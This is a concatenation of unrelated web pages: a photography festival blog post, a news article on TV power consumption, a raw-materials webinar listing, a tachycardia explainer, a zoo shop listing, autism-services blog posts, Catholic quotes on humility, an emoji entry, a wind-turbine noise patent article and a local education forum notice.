Bob and Connections Gallery Production Coordinator, Carissa Ainsle planned a full day of not only viewing prominent exhibitions featured at the CONTACT photo festival, but also introducing me to key players of Toronto’s photographic art world. Highlights included a private studio tour of Matthew Plexman (pictured below) and meeting with Sarah Burtscher, Gallery Director at Stephen Bulger Gallery.
But nothing topped meeting with Brian St. Denis, the Festival Coordinator of CONTACT!! Because of my involvement with helping to organize the upcoming 2017 Louisville Photo Biennial, I was excited to meet with Brian, who was very generous with his time. He clued me into some key elements of how a team of 5 successfully pull off this major photo festival EVERY year. He was also kind enough to explain how an individual, such as myself, could go about finding space and showing their work as an Open Exhibition of CONTACT, which is what attracted me in the first place. I love that an artist can participate in the festival without being represented by a gallery or included in a museum show. The Open Exhibitions can be featured in gallery spaces, but also cafes, shops, restaurants, etc and the bulk of the exhibitions at CONTACT fall into this category.
Needless to say, I had an amazing time taking it all in! The festival itself was spread throughout the large city of Toronto which enabled me to take in the vast and different neighborhoods that make up the artistic fabric culture of this amazing city. I made a lot of great connections and was inspired on a number of levels. I will definitely be processing this for years to come!
Stay tuned for the next post…INSPIRED AT CONTACT! | <urn:uuid:56af7493-ae79-4930-b26a-33ae718b9033> | CC-MAIN-2022-33 | http://jennyzeller.com/category/events/page/2/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.965752 | 945 | 1.648438 | 2 |
Our insatiable appetite for the big picture is threatening the planet. A scientist has warned that if half of British homes buy a plasma-screen TV, two nuclear power stations would have to be built to meet the extra energy demand.
Britons were buying flat-screen TVs every 15 seconds from Currys and its online sister company Dixons during the build-up to the World Cup, and subsequent price reductions have ensured they remain hugely popular.
But plasma sets can use up to four times as much electricity as the old-style cathode-ray tube models. Combined with set-top boxes, digital video recorders, DVD players and home PCs, the digital home is seen by environmental campaigners as a growing contributor to the energy crisis.
Dr Joseph Reger, chief technology officer at Fujitsu Siemens Computers in Munich, Germany, said: 'If all the [plasma] TVs were on at the same time, you would need something that produces 2.5 gigawatts. That can be done today with around two nuclear power stations.' But Reger added: 'It is safe to assume that there will be extras because people rarely just buy a TV. They desire a better picture and all of a sudden you have the urge for the latest and greatest DVD player. Then you need more file space on your personal video recorder. You want to download movies and it all adds up.'
Once all the elements of the 'digital home' are factored in, Reger calculates, the additional power requirement at peak hours may be six gigawatts.
In the meantime, growing electricity demands are placing a strain on conventional power stations. One quarter of all carbon emissions in Britain come from energy used in the home, about the same as transport. Simply leaving devices such as TVs and DVD players on standby at home puts up to 1m tonnes of carbon a year into the atmosphere and costs each household around £25.
The government recently called 11 electronics retailers - including Argos, Amazon, Asda, Comet, the Dixons Group, John Lewis, Sainsbury's and Tesco - to a summit at 11 Downing Street to discuss cutting greenhouse gas emissions from their products. Gordon Brown's last Budget contained an initiative for retailers to sell energy-efficient goods by 2010.
Last year consumer electronics used the equivalent of 18 terawatt hours - equivalent to the annual output from five standard power stations, and amounting to 30 per cent of the country's total domestic electricity consumption. The Department for the Environment estimates this could rise to 31 terawatt hours by 2010, mainly due to the rise in the number of TVs, demand for bigger screens and set-top boxes. Projections show that more than 50 million digital set-top boxes will be in UK homes by 2012. Philip Sellwood, chief executive of the Energy Saving Trust, said: 'As the consumer electronics market continues to grow, further development of energy-efficient products will be vital to help in the fight against climate change. TVs are here to stay, but people can change how they use them, for example, turning them off standby when not in use.'
Reger remains optimistic, believing that plasma screens will be overtaken by more energy-efficient technologies. 'I think it will be a general requirement because people increasingly have an environmental conscience,' he said. 'Equipment with a sticker that says, "Extreme low standby" will be a selling point.
'It's a short-term problem, but to say it will automatically right itself is also wrong. Inefficient TVs can be around in homes for five or 10 years.' | <urn:uuid:aec05d9a-769f-49b8-9c02-84abacfad061> | CC-MAIN-2022-33 | https://www.theguardian.com/environment/2006/aug/13/energy.nuclearindustry | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.945879 | 731 | 2.3125 | 2 |
The EU-Latin America Partnership on Raw Materials project is hosting a yearly webinar series for MDNP members*. Each year, the webinars will address a diverse range of topics that are key to fostering responsible and sustainable non-energy extractive industries in both regions.
The webinars will bring together experts from the EU and Latin America to share their analyses and best practices on the topics. Thus, MDNP members will gain insights into the work being done in both regions on driving responsible mining and building sustainable and resilient mineral raw materials value chains.
All webinars will be translated simultaneously and offer English, Spanish and Portuguese audio channels. All webinars are free of charge.
*The eligibility criteria to become a member of the MDNP is to be legally based in an EU Member State or in one of the following Latin American countries Argentina, Brazil, Chile, Colombia, Mexico, Peru, Uruguay and to be active in the fields relevant for the non-energy extractive industry sector. Governmental entities from other Latin American countries are also eligible as members of the MDNP.
We look forward to welcoming you at our next webinar. Stay tuned!
Analysis of minerals necessary for the transition to a climate-neutral economy
This webinar will provide participants with insights into the analysis of minerals necessary for the transition to a climate-neutral economy. To access the webinar, click here.
Innovative solutions for sustainable mineral exploration
This business-oriented webinar seeks to showcase examples of innovation from the field of mineral exploration, as this is a prerequisite for the integration of sustainable raw material value chains between the EU and Latin America. To access the webinar, click here.
EU-Latin America responsible battery value chains
This business-oriented webinar seeks to showcase best practice examples of responsible battery raw materials value chain integration led by EU and Latin America stakeholders. To access the webinar, click here.
Management of Mining Enviromental Liabilities
In this webinar, experts discuss management processes for MEL, addressing approaches on how to map, assess, reprocess and remediate MEL in order to achieve a sustainable mining respectful with the environment and the socio-economic development of local communities. To access the webinar, click here. | <urn:uuid:7f52562c-cf6b-4689-808b-180b918aec39> | CC-MAIN-2022-33 | https://mineralplatform.eu/events/webinars | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.887713 | 470 | 1.773438 | 2 |
Tachycardia refers to an acceleration of the heart rate greater than 90 beats / min. A “normal” heart rate is estimated to be between 60 and 90 beats per minute. It can be slightly slower in athletes.
The apposite of tachycardia is Bradycardia is a Slow Heart Rate
What can cause tachycardia? Tachycardia is a natural phenomenon during muscular effort. Accelerating the heart allows faster muscle oxygenation. Sometimes conditions can lead to tachycardia such as fever, anemia, hyperthyroidism, hemorrhage, dehydration, stress, anxiety attack, spasmophilia attack, tetany attack, asthma attack, pulmonary embolism, acute lung edema or even excessive consumption of alcohol, cannabis, coffee or other stimulants… Specific heart attacks are also the cause of tachycardias.
There are several types of tachycardia:
it is not due to a heart problem but to an adaptation of the heart to a particular circumstance. It is called sinus because the general rhythm of the heartbeat is determined by a specific place in this organ called the sinus node (an area normally source of regular and adapted electrical impulses causing heart contractions). This sinus acceleration of the heart can be normal, such as when it is related to physical exertion, lack of oxygen at altitude, stress, pregnancy (the heart naturally accelerates at this point in life) or taking an arousal like coffee.
In the case of physical exercise, for example, the heart speeds up in order to supply more oxygen to the working muscles. So this is an adaptation. In the case of altitude, since oxygen is scarcer, the heart speeds up to provide enough oxygen to the body despite its scarcity in ambient air.
But this sinus acceleration of the heart may be linked to an abnormal situation in which the heart adapts by accelerating its rhythm. This happens for example in case of fever, dehydration, taking a toxic substance (alcohol, cannabis, certain drugs or medications), anemia or even hyperthyroidism.
In the case of dehydration for example, the volume of fluid in the vessels being reduced, the heart accelerates to compensate. In the case of anemia, the lack of red blood cells leading to a lack of oxygenation, the heart speeds up its rate in an attempt to provide enough oxygen to all the organs in the body. With sinus tachycardia, quite often the person does not realize that their heart is beating fast. This tachycardia can be discovered by the doctor.
Sinus tachycardia can also be linked to a tired heart. If the heart fails to contract effectively enough, the sinus node will tell it to contract more often to allow enough oxygen to flow throughout the body.
Tachycardia linked to a heart problem
It is fortunately rarer than sinus tachycardia. Because the heart is abnormal, it speeds up while the body does not need a faster beating heart.
Tachycardia linked to Bouveret’s disease
It is relatively common (more than one in 450 people) and most often relatively benign. This is an abnormality in the heart’s electrical system. This abnormality occasionally causes sudden attacks of tachycardia for a period of time before ceasing just as abruptly. The heart can then beat more than 200 per minute. This is embarrassing and often causes discomfort forcing you to lie down for a while. Despite this anomaly, the hearts of these people are not sick, and this problem does not decrease life expectancy.
Another type of tachycardia is Wolf-Parkinson White syndrome, which is also an abnormality in the electrical system of the heart. It is called paroxysmal supraventricular tachycardia.
These are accelerated contractions of the ventricles of the heart related to heart disease (various diseases). The ventricles are pumps used to send oxygen-rich blood throughout the body (left ventricle) or oxygen-poor blood to the lungs (right ventricle). The problem is, when the ventricles start to beat too quickly, the ventricular cavity doesn’t have time to fill with blood. The ventricle no longer plays an efficient pump role. There is then a risk of stopping the efficiency of the heart and therefore a fatal risk.
The main symptoms are an increased heart rate (the feeling that “the heart is racing”), a feeling of “bumping” in the chest with palpitations, and / or a feeling of being unwell, which may occur. lead to unconsciousness in severe cases.
• Sinus tachycardia
This is the most common tachycardia: the atria beat too fast while the ventricles follow the opposite rhythm.
• Tachycardia and arrhythmia
We speak of tachyarrhythmia when the heartbeat is fast and irregular. These are mainly cardiac arrhythmia caused by atrial fibrillation or atrial flutter. Atrial tachycardia corresponds to the uncontrolled activation of an ectopic cardiac focus.
• Bouveret or junctional tachycardia
Bouveret’s disease, or junctional tachycardia, is characterized by a rapid and sudden runaway of the heart: these palpitations have a sudden onset and end. Heartbeats can be around 200 / min and loss of consciousness is possible.
• Ventricular tachycardia
During a ventricular tachycardia, the ventricles beat very quickly: this tachycardia requires urgent management and transfer to intensive care. It is a vital emergency. It is secondary to a serious pathology.
• Wolff-Parkinson-White syndrome
Tachycardia due to Wolff-Parkinson-White syndrome is caused by a birth defect in the electrical conduction inside the heart. This anomaly is the result of an abnormal cardiac muscle fiber that connects the atria and ventricles.
Is it dangerous?
The danger of tachycardia is above all that of its cause. An increased heart rate due to stress, anxiety, fever or anemia is never very high. It gives the sensation of palpitations. Treatment for fever, anxiety, or anemia is enough to calm the heartbeat. More serious causes like pulmonary embolism, massive hemorrhages cause reactive tachycardias which can be dangerous. Cardiac arrhythmias can be complicated by vascular thromboses (or clots) and be the cause of vascular accidents. Finally, Bouveret’s disease is usually mild and Wolff-Parkinson-White syndrome requires specific treatment. Ventricular tachycardia is a real danger because death can quickly occur in the absence of urgent care.
The diagnosis of tachycardia is made simply by taking the pulse. The number of heart beats in one minute is calculated by taking the pulse at the wrist or other place where the arteries are palpable. The cause of the tachycardia is then explored through the practice of an electrocardiogram or ECG, which will make it possible to measure the activity of the heart and especially its rhythm. After this first assessment, the examinations will be guided by the cardiologist.
Anti seizure or crisis treatments
Treatment for tachycardia depends on its cause. Reactive tachycardias should benefit from treatment of the cause. Arrhythmias must be “reduced” through the use of techniques or drugs aimed at regulating the heart rhythm. Anticoagulant treatment often accompanies this management to avoid thrombotic complications. Bouveret’s disease may benefit from treatment that avoids rapid heartbeat such as beta-blockers.
How to treat tachycardia?
Sinus tachycardia. It is usually treated well by treating the problem causing the increased heart rate. For example, treating hyperthyroidism cures associated tachycardia. Cure anemia too.
In some cases, the cardiologist may prescribe treatment that slows down the heart while waiting for the disease to be treated.
Ventricular tachycardia. Treatment of the attack is urgent because of the risk of sudden death. The doctor may use antiarrhythmic drugs, external electric shock (if cardio respiratory arrest or loss of consciousness). The endocavitary stimulation, electric shock but this time internal, is produced by a probe and placed in a hospital environment. This is only possible if the emergency is not extreme and does not put the person’s life in danger.
Preventive treatment of ventricular tachycardia attacks is also implemented with, for example, an anti-arrhythmic drug, a beta blocker, and sometimes ablation of the area that causes the ventricular tachycardia attacks (by surgery or radiofrequency to treat the dysfunctional area). Finally, the placement of an implantable defibrillator that triggers and produces an electric shock in the event of the onset of ventricular tachycardia, may be proposed.
And then, when possible, the basic treatment of the heart problem that causes ventricular tachycardias should of course be implemented.
Atrial tachycardia. In the event of a rhythm disturbance in the atria, anticoagulant therapy is instituted, so as to prevent the formation of clots in this place. They would be dangerous because they would be sent into the ventricles and then into the arteries that they could block.
Atrial tachycardia can be treated with medication, which is effective in about two-thirds of cases. In other cases, the specialist doctor may prescribe a treatment, electrical reduction, which consists of sending an electric current so as to restart contractions at a normal rate in the atria.
Photo explanations: Ventricular tachycardia (V-tach or VT) is a type of regular, fast heart rate that arises from improper electrical activity in the ventricles of the heart. Although a few seconds may not result in problems, longer periods are dangerous. | <urn:uuid:5afd55c0-8eef-4c77-abe2-5c8fa0db7de8> | CC-MAIN-2022-33 | https://www.cleverlysmart.com/tachycardia-fast-heartbeat-at-rest-symptoms-diagnostics-causes-and-treatment/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.902769 | 2,123 | 3.390625 | 3 |
Take home your very own replica of our compelling wildlife mural that adorns the entrance to San Diego Zoo Safari Park. Our exclusive mural art highlights eight critical conservation areas around the world, which we refer to as "hubs." At San Diego Zoo Wildlife Alliance, we focus our work to support these ecosystems and their wildlife. This giclée canvas print is the right panel of our wildlife mural art and features four of our wildlife conservation hubs and their key species.
Pacific Islands - ʻAlalā & Pink Iguana
Amazonia - Jaguar
African Forest - Gorilla
Savanna - Elephant & Rhino
Also see the left panel canvas print featuring our other 4 hubs- display both panels together for the full mural scene!
Please allow extra time for shipping as these exclusive canvas prints are made to order.
Sign up for the latest features and offers from ShopZoo | <urn:uuid:d3fefbcf-cfd9-4089-bec8-6c658e28cd02> | CC-MAIN-2022-33 | https://shopzoo.com/collections/gorilla/products/san-diego-zoo-mural-art-canvas-print-right-panel | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.914759 | 186 | 1.554688 | 2 |
There is a lot of emphasis on data in the autism field, especially since Applied Behavior Analysis has a monopoly on the field right now (unfortunately). Everything is data driven, meaning that numbers must support everything. Success is measured in data. Research is (of course) measured by data. Intervention techniques soar or crash based on data.
So what happens when the data confuses people?
A recent study on autism prevalence in 4 year-olds is doing just that, because some of the data doesn’t make sense. For example, if the number of diagnosed kiddos below age 3 decreased in New Jersey, then why is the prevalence number increasing? One possibility is that the number of professionals trained to diagnose and treat autism is low and not increasing with the demand. Having been in three different metropolitan areas in the last 3 years (Bay Area, LA, and Palm Beach County), I can attest to this suggestion. There aren’t enough of us.
The link to an article about the study is below. New Jersey was one of the states examined because it appears to have the highest prevalence in the country right now, but also has a huge array of resources. They also said that because of this, NJ probably has the most accurate information in the study.
The link below is to a very interesting article examining what success looks like for different individuals when it comes to autism treatments. Both members of the field and autistic adults were asked to answer, giving a pretty wide range of responses.
It made me start to think of what success looks like to me in this regard. For one, it involves a strong support system. This is something that everyone seems to agree on. The family and the community in general has to be open to learning, helping, and expanding opportunities. This is a piece that many autistic adults have said (quite loudly) is severely lacking overall.
I think another marker for me, especially with younger kids, is if they start to engage with others. It doesn’t have to be much, but I always loved the moments when a client figured out that a form of communication (be it a sign, picture, written/typed word, or vocalization) is the gateway to getting what they need. Even a brief moment of eye contact (because I have never been in favor of forcing a staring contest) can speak volumes if the family members and friends are willing to learn the autistic individuals’ language.
What do you think of the viewpoints from this article? Who do you most agree with? Do you agree with any of them?
You probably noticed that I didn’t say “Autism Awareness Month” or “Autism Acceptance Month.”
Over the course of the past few weeks, while others were shouting about this month from the rooftops, I was pretty quiet. There were two reasons: for one, some major changes were happening personally as I shifted my entire focus to this business. Second, I honestly wasn’t sure of what to say. Listening to numerous families recently helped me find something to say.
For many communities in my country (the United States), both awareness and acceptance are still minimal. You may think that by now everyone knows all about autism, but this is not the case. Hardly. So, I cannot just call it an awareness or acceptance month, because neither has been achieved in the communities that I wish to serve.
I’m not really going to say much more, because I want to recognize the voices of autism itself. I highlighted some of these folks last year, and I want to do that again this year. Below are the blogs and Instagram pages of autistic individuals and families with autistic members that I follow or like to read. Please read their posts, content, and experiences, because they can say far more than I ever could!
Also, if you want to add your voice to the list this month, comment below and I will update this post with your Instagram page, website, or blog through April 30th. If I get enough blogs/profiles, I may create a permanent list on this site!
Most of my 10+ years of work have been in the autism and special needs communities as a therapist or developmental specialist. While the clients themselves (kids or teens) are the main focus, I have also been taking mental notes on trends I see amongst the parents and families. The notes have been interesting and at times, concerning.
First, there are a few common ones I have seen across all of the families, regardless of race, location, or socioeconomic status:
If it’s a two parent household, the mother often feels like she is carrying the weight of the autism journey. Granted, this seems to be the feeling in a lot of two parent households in the non-autism community as well, but I hear it more often overall with this population.
The parents feel as if they have to fight for every service, meeting, and opportunity that they can get.
A lot of parents/guardians feel lonely.
If the entire family becomes invested in helping their autistic family member succeed, the client usually does (and often goes beyond what any of us professionals may have thought they could do). These cases taught me early on to never underestimate my clients.
Since my change of scenery from California to Florida, I have now started noticing trends that I knew little to nothing about before, but always suspected. In Cali, my population was mostly white with some Mexican families included here and there. Here, the clientele is mostly African-American with some Latino families included here and there (mind you, my therapeutic population is not autism-based here, but mental health based instead). Some of the things I’ve noticed:
The children in the black community in general are getting diagnosed much later than their white counterparts. We’re talking *years* later. Early intervention has been proven time and time again to be critical to helping autistic individuals with navigating this really insane, overstimulating world of ours. The later the diagnosis, the more intense and prolonged treatment may have to be.
Professionals aren’t listening to the minority parents/guardians. Many parents have told me that they “had a feeling” that something was different about their child, only to have their primary care doctors brush it off and say, “They’ll grow out of it.” This has directly led to the first bullet point above this one: delayed diagnosis.
Minority parents/guardians often feel alienated in their own communities. They don’t feel that they have anyone they can talk to, and that few others know their experience enough to even provide support. This diagnosis is still considered foreign in many of these communities.
Incorrect myths and assumptions about autism are still quite common. This also leads to delayed diagnosis.
Below are some links to different articles and studies about this disparity in the autism community as a whole. Our services here at SPARC Guidance aim to improve the situations in the minority communities in particular.
African-American and Latino Children Often Diagnosed With Autism (ASD) Later Than Their White Peers: There is one quote in particular from this article that I wish to highlight, because it speaks to another trend I have noticed since working here in Florida: “In 2007, a study by a team at the Center for Autism and Developmental Disabilities Research and Epidemiology, University of Pennsylvania, found that African-American children were 5.1 times more likely to be misdiagnosed with conduct disorders before being diagnosed with ASD.” (Rentz, 2018). Also, kudos to NPR for recognizing and correcting their article regarding how they classified autism (see their correction box at the bottom of the article).
If you wanted to know why I’m leaving the therapy field to focus more on autism education and empowerment in my community, now you know. 🙂
While living in the Bay Area of California, I felt as if there were a lot of resources for families on the autism spectrum. I watched former co-workers open up therapy service organizations for autism, and the universities (such as Stanford and the not-so-local UC Davis) had entire departments and programs dedicated to research and/or community outreach. There seemed to be something going on all the time, from walks and conferences, to trainings and meetings…there was always something to learn and gain.
You can imagine my surprise when I moved back home to South Florida and found nearly nothing compared to where I came from. Granted, there are some organizations that say they do the very things that I am looking to do, but I still hear from my community that there aren’t any services being provided to them. There is a disconnect somewhere.
Because of the wording of the laws in Florida (many of which only specify ABA as an acceptable intervention), many of the agencies that provided such services when I last lived here no longer can due to the guidelines. I am also noticing fewer professionals in my area who are trained or have experience with autism, so that is contributing to the resource desert as well. It is a strange and unfortunate situation all around.
So, what is SPARC hoping to do in the midst of this disconnect and resource shortage? Well, while we may not provide direct therapy, we do want to give families, communities, schools/daycare centers, and potential employers a better understanding of autism and encourage advocacy. That is how the system is improved. Awareness leads to Acceptance, Acceptance leads to Affirmation, and Affirmation leads to Advocacy.
Parents with kids and teens on the spectrum are starting to notice the range of different experiences they are having with regards to education, at least in my home county. While this is a goal further down the line for SPARC, I am fascinated by how a school district can have such extremes in providing services for those with special needs. The private and charter school sector has similar range of differences, leading to parents trying school after school in hopes that they actually provide the services that they say that they do (because I’m learning that this isn’t always the case, either).
Right now, I am looking at what is available in my county. I hope to start reaching out in the spring and summer to these programs already in place and help them connect better to minority communities. There are some great resources out there that many do not know about. I hope to change that and help bridge some obvious gaps. This is honestly Stage Two in SPARC Guidance’s plans, but with Stage One in its testing phase already (on an individual basis), I want to start laying groundwork for the next steps.
There will probably be some future posts on this topic as I learn more about what is available for families in the school district and the community.
Just because you cannot see the movement, does not mean that movement is not happening!
Good read about the first openly autistic person to practice law in my home state of Florida. The message of inclusion is so strong here; find a person’s strengths, encourage them, and watch them shine. 🙂
The holiday season is often a time filled with polar extremes: joy and stress, family and loneliness, abundance and want, etc. We are so busy running around trying to be full of good cheer and simultaneously good consumers that we tend to forget that this is a perfect time to work our manifestation muscles.
It makes sense, to be honest. It is the end of the calendar year, a time when many of us look back on the previous year and think about what we have (or have not) accomplished. Are we at the same place we were last year at this time? Has our life improved? Did things get worse? Did the entire year just leave you feeling…”meh?” In turn, we start thinking about next year as well: Will next year be better? Will I finally write that book? Start that business? Finish my degree? Find that tool kit that’s been missing since 2016?
I have spoken a lot in previous posts about vision boards. I may be a tad obsessed with them, actually…but it is because they are such great vehicles of manifestation power! No, I am not twisting your arm into doing one…but I really think you should do one, in the next 30 days.
Rarely in the year are our minds this focused on what we have done and what we want to do. It is the reason why New Year’s Resolutions are made. We want to do better going forward, we really do. It’s just that life comes in and sidetracks us, right? Well, yes, but having a constant reminder of your goals and visions for the next year can really help keep you focused.
Here’s another interesting side effect of physical tools such as vision boards or wish boards: you begin to see and take opportunities you may have ignored without the routine visual reminders. We tend to focus on what we see/experience the most. So when we put a list of cities on our board that we want to visit during the year (like I did), as we keep looking at the list, we start also unconsciously looking for opportunities to take those journeys. Of my list of 5 cities, I got to all but one of them this year. As a bonus, I visited (and am about to visit) two that weren’t even on the list! During one of my leanest years in terms of finances, I managed to visit at least 6 different cities in different parts of the country. I even got to do it via cross-country road trip, which checked off a bucket list item!
Therein lies a final bonus tip when it comes to manifestation: Don’t worry about or focus on how it will happen. Make the board, place it somewhere you can see it every day, trust the process, and then watch the magic happen. 🙂
This can be a tough one for me, and I think for many who consider themselves to be Healers and/or Helpers.
*Thought I’d add a little Halloween fun to this one*
As we move into the holiday season, and as Christmas stuff and fluff starts to pop up everywhere (already), I think it’s important that this little reminder is revisited.
Do not try to be everything for everyone this season.
Do not push yourself into a breakdown trying to appease others, no matter who they are.
Do not feel guilty for saying “no” if it is to take care of yourself. Most of us know our internal signs of being spread too thin, so when you start to see them, that’s your cue to cut some of the chaos back.
Do feel free to walk away if someone is not hearing your request for peace. I’ve had to do this a lot in the last few years, and I’m doing it now. If you respectfully state why you can’t invest time, money, or energy into something, and they ignore that request, then your feelings in the matter are not important enough to them. Seek out those who respect your desire for balance.
Do give yourself the all-important “me time.” Even if it’s a few blocks worth of a walk, 2 minutes in the car, or a 5 minute cup of coffee in silence, carve it out. Those little moments add up.
Do what you can and/or must to show yourself some love. All of the other statements above roll right back into this: love yourself.
I really love the work that the UC Davis MIND Institute is doing with regards to conditions such as autism and ADHD. This newest bit of news could help identify a certain subset of autism much faster. According to the article, it would probably only identify about 17% of children on the spectrum for now. This could, however, lead to specialized diagnostic tools and interventions that could benefit everyone further down the line.
Here’s a link to the article, and definitely check out the rest of their site. The MIND Institute is always looking for research participants, and has regularly updated information on their findings. | <urn:uuid:13238116-aaac-4ad7-b0b3-a2a2ae1abf6e> | CC-MAIN-2022-33 | https://sparcguidance.com/author/angelwilson/page/3/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.970078 | 3,350 | 2.328125 | 2 |
HUMILITY: QUOTES FROM ST. CLEMENT OF ROME AND ST. LEO THE GREAT
CHRIST BELONGS TO THE HUMBLE
“Let us then be humble, brethren, and let us put aside all boasting and ostentation, all anger and fits of wrath, and let us fulfil that which is written … For it is to the humble that Christ belongs, and not to those who exalt themselves above their own flock. The Lord, Christ, although he held the sceptre of greatness, did not come into the world with the trappings of arrogance or pride, although he could have done so, but rather with the spirit of humility, in fulfilment of that which was said of him by the Holy Spirit: “I am a worm, and no man; scorned by men, and despised by the people.” … Consider, brethren, the example set before us: to this extreme has the Lord humbled himself. What, then, is it fitting for us to do, we who through him have been placed under the yoke of his grace?”
St Clement of Rome.
CHRISTIAN WISDOM CONSISTS IN TRUE VOLUNTARY HUMILITY AND SPIRITUAL CHILDHOOD.
“Christian wisdom does not consist in a torrent of words, or in keen disputation, or in the desire for glory and praise, but rather in true and voluntary humility, such as our Lord practised and taught convincingly from the time of his birth until his sufferings on the Cross. Thus, when his disciples were arguing over who was to be the ‘greatest in the kingdom of heaven, calling to him a child, he put him in the midst of them, and said, Truly, I say to you, unless you turn and become like children, you will never enter the kingdom of heaven.’
Christ loves childhood: he experienced it in his own body and soul. Christ loves childhood: for children are teachers of humility, models of innocence, and examples of meekness. Christ loves childhood: he guides the actions of adults towards it, he makes the elderly go back in years, and with his own example he guides those whom he destines for the eternal kingdom.”
St Leo the Great.
Photo: Our Lady of LaVang (Vietnam) found in the National Shrine of Immaculate of Conception in Washington DC. | <urn:uuid:d7421b51-f51e-440f-8d8e-aa0c8454c5ce> | CC-MAIN-2022-33 | https://catholicsstrivingforholiness.com/2018/03/10/humility-quotes-from-st-clement-of-rome-and-st-leo-the-great/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.970764 | 506 | 2.578125 | 3 |
A sunflower, a tall, round flower with large yellow petals. Depicted as a single, vertical sunflower with a large, dark-brown center on a green stem.
Commonly used for Mother’s Day and other special occasions. May be more generally used to convey such sentiments happiness and love. Also used as a yellow accent color and in association with summer and farming.
Not to be confused with 🌼 Blossom, which is yellow on many platforms.
📅 Sunflower was approved as part of Unicode 6.0 in 2010
and added to Emoji 1.0 in 2015. | <urn:uuid:3240ed96-e4b5-4c85-bcc0-6f1260a2f19e> | CC-MAIN-2022-33 | http://emojispedia.org/emoji/sunflower/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.950678 | 127 | 1.601563 | 2 |
Reading Time: <1 minutes
Together with the entire Product Development team, the Senvion Patent Department is constantly looking for innovative approaches that will make Senvion and the wind industry better, cheaper or more adaptable in the future. In this case, the Senvion colleagues have jointly managed to find a patent solution for sound emissions from the turbines in the truest sense of the word. The “Hamburger Wirtschaft” magazine has taken a close look at the innovation:
Senvion has developed an innovative procedure for reducing the operating noise of wind turbines. The innovation and patent center has selected it as ‘Patent of the Month.’
Wherever wind turbines are installed, one topic generally arises sooner or later: are the turbines too loud?
It is a fact that roughly one third of German gross electricity consumption is currently covered by renewable energy sources. In 2016, wind energy usage in particular was further expanded in Germany. According to the register of installations of the German Bundesnetzagentur for Electricity, Gas, Telecommunications, Post and Railway, new onshore wind turbines with a total power of 4,402 megawatts were commissioned. This represents a 10 percent increase on the previous year. One of the manufacturers of wind turbines is Senvion GmbH (up to 2014: REpower Systems), which has its German headquarters in Hamburg.
Less and less space is available for wind farms. To achieve more power, old turbines are being replaced with new ones and increasingly wind farms are being built closer to residential areas or nature reserves. “The importance of noise protection has increased,” says Ulrike Keltsch, head of the patent department at Senvion. In addition to residents, animals can also be disturbed by the operating noises.
In summer 2015, Senvion’s Development department applied for a patent for a procedure that can reduce the sound volume of the wind turbines in operation. The noise emissions of wind turbine generators include broadband noises that form a masking noise. However, narrowband noises may also be audible under certain circumstances; for example they can be caused by a generator or a gearbox of the wind turbine. The invention consists of a noise emission control device for a wind turbine that reduces any noises that may arise by surrounding them with the broadband noises that are more pleasant for humans and animals. This is achieved by means of an active noise source that emits a masking noise in at least one spatial direction in a frequency band around the individual sound frequency.
“This control device is not yet available,” says Keltsch. “Our turbines are quiet enough for the existing wind farm sites.” Senvion’s engineers frequently develop their inventions preventatively, looking to the future. However, since the requirements regarding generating volume are in-creasing, the turbines themselves will also increase in size , and Keltsch believes that it is perfectly possible that the invention will come into use. If a customer wants a noise reduction measure, for a new construction or a retrofit, prototypes of the control device would then be in-stalled and tested in an existing wind farm, Keltsch states. “We would probably have to perform two to three correction cycles before the invention is implemented perfectly,” says Keltsch. Then Senvion would talk to the suppliers, clarify the supply chain, order the necessary individual parts, and finally manufacture the product in a small production run. The invention could then be tested in practice, and be ready for operation within four to twelve weeks. | <urn:uuid:d565c4d9-3449-40cb-9f0d-afdbb51f67ae> | CC-MAIN-2022-33 | https://windinsider.com/2019/08/19/sound-tuning-for-wind-turbines/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573104.24/warc/CC-MAIN-20220817183340-20220817213340-00473.warc.gz | en | 0.943287 | 735 | 2.71875 | 3 |
Randolph Education Forum to host panel discussion
ASHEBORO — Dr. June Atkinson, the N.C. superintendent of Public Instruction, and local public education officials will discuss challenges in education on Tuesday, Aug. 11.
The discussion begins at 7 p.m. in the R. Alton Cox Learning Resources Center Auditorium at Randolph Community College, 629 Industrial Park Ave., Asheboro. Everyone is invited.
Education is the single most important factor in preparing our youth to be responsible and productive members of the community. How can we protect and improve education in this time of uncertain funding and staff cutbacks? What can be done to ensure that good and effective public education remains available to all children?
The Randolph Education Forum, a non-partisan group of concerned citizens, is hosting the free public event called “Issues and Challenges in Education.”
Atkinson will join Dr. Stephen Gainey, superintendent of the Randolph County School System; Todd Cutler, Randolph County Board of Education chair; Dr. Terry Worrell, the superintendent of Asheboro City Schools; and Jane Redding, Asheboro City Board of Education chair, in a panel discussion of questions received from the public.
The discussion will be moderated by Dr. Diane Frost, 2012 N.C. Superintendent of the Year.
Participants may submit questions in advance by noon, Aug. 8. Questions may be emailed to [email protected] or posted on the Facebook page at www.facebook.com/randolpheducationforum. | <urn:uuid:babd24e4-fc8c-4ef7-8b75-72b8b49a5afe> | CC-MAIN-2022-33 | https://www.courier-tribune.com/story/news/2015/08/05/randolph-education-forum-host-panel-discussion/27249266007/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573104.24/warc/CC-MAIN-20220817183340-20220817213340-00473.warc.gz | en | 0.890727 | 317 | 1.53125 | 2 |
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LIGNACITE LTD: Lignacite Concrete Blocks
